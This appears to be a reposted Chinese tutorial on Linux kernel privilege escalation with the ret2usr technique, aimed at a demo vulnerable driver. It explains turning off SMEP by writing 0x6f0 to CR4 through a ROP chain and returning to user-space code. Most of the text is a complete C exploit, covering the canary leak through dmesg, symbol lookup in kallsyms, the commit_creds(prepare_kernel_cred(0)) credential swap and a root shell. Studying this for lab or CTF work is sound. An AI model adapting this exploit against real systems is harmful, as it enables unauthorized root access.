linux 内核提权总结(demo+exp分析) -- ROP(二)

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ret2usr CR4篇

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原文作者：jmpcall
专栏地址：https://zhuanlan.kanxue.com/user-815036.htm

 

• smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码

  • 内核通过CR4寄存器的第20位来控制smep, 第20位为0时，smep被关闭

• 攻击流程

  1. 提前在用户态代码中构造进程提权代码(get_root)
  2. ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0
  3. 修改 rip 直接指向用户态提权代码,实现进程提权

一. 判断是否开启smep

1.查看 boot.sh

qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.img \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-cpu qemu64,+smep,+smap \
-nographic \
-gdb tcp::1234

2.smep, smap 在boot.sh -cpu选项内进行设置

 

二. ROP链构造

ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret
ROP[i++] = 0x6f0;
ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret
ROP[i++] = 0;
ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
ROP[i++] = 0;
ROP[i++] = (size_t)get_root;

三. exp

// gcc ret2usr.c -masm=intel -static -o ret2usr#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>size_t base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_rflags, user_sp, shell;void get_shell()
{if (!getuid()){puts("=.=");system("/bin/sh");}else{puts("failed");}exit(0);
}void get_root()
{char *(*pkc)(int) = prepare_kernel_cred;void (*cc)(char *) = commit_creds;(*cc)((*pkc)(0));asm(   "pushq user_ss;""pushq user_sp;""pushq user_rflags;""pushq user_cs;""push shell;""swapgs;""iretq;");
}void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");shell = (size_t)get_shell;printf("ip is 0x%lx\n", (size_t)get_shell);printf("cs is 0x%lx\n", user_cs);printf("ss is 0x%lx\n", user_ss);printf("sp is 0x%lx\n", user_sp);printf("flag is 0x%lx\n", user_rflags);puts("status has been saved.");
}size_t get_addr(char *name)
{int num = strlen(name) * 2 + 3 + 27;char cmd[num];memset(cmd, 0, num);strcat(cmd, "cat /tmp/kallsyms | grep ");strcat(cmd, name);strcat(cmd, " > ");strcat(cmd, name);printf("the cmd is %s\n", cmd);system(cmd);char buf[19] = {0};size_t addr = 0;FILE *fp = fopen(name, "r");if (fp == NULL){printf("open %s error!\n", name);exit(0);}fgets(buf, 18, fp);addr = strtoul(buf, 0, 16);printf("the addr(0x) is: %p\n", (void *)addr);if (addr == 0){puts("string conversion integer failed");}fclose(fp);return addr;
}size_t get_canary()
{system("dmesg | grep canary > canary");puts("the cmd is: dmesg | grep canary > canary");FILE *fp = fopen("canary", "r");if (fp == NULL){puts("open canary error");exit(0);}char buf[100] = {0};size_t canary = 0;fgets(buf, 100, fp);char *str_canary = strstr(buf, "0x");canary = strtoul(str_canary, 0, 16);fclose(fp);printf("the canary is 0x%lx\n", canary);return canary;
}char *rop(size_t offset, size_t *ROP)
{int i = 0;ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; retROP[i++] = 0x6f0;ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; retROP[i++] = 0;ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; retROP[i++] = 0;ROP[i++] = (size_t)get_root;
}int main()
{base = get_addr("startup_64");commit_creds = get_addr("commit_creds");prepare_kernel_cred = get_addr("prepare_kernel_cred");size_t offset = base - 0xffffffff81000000;printf("offset is: %lx\n", offset);int fd = open("/dev/rop_dev", 2);if (0 == fd){puts("open /dev/rop_dev error");exit(0);}char payload1[0x10] = {0};write(fd, payload1, 0x10);write(fd, payload1, 0x10);size_t canary = get_canary();size_t payload2[19] = {0};payload2[0] = 0x6161616161616161;payload2[1] = 0x6262626262626262;payload2[2] = canary;payload2[3] = 0x6363636363636363;save_status();rop(offset, &payload2[4]);write(fd, payload2, 8 * 19);return 0;
}

 

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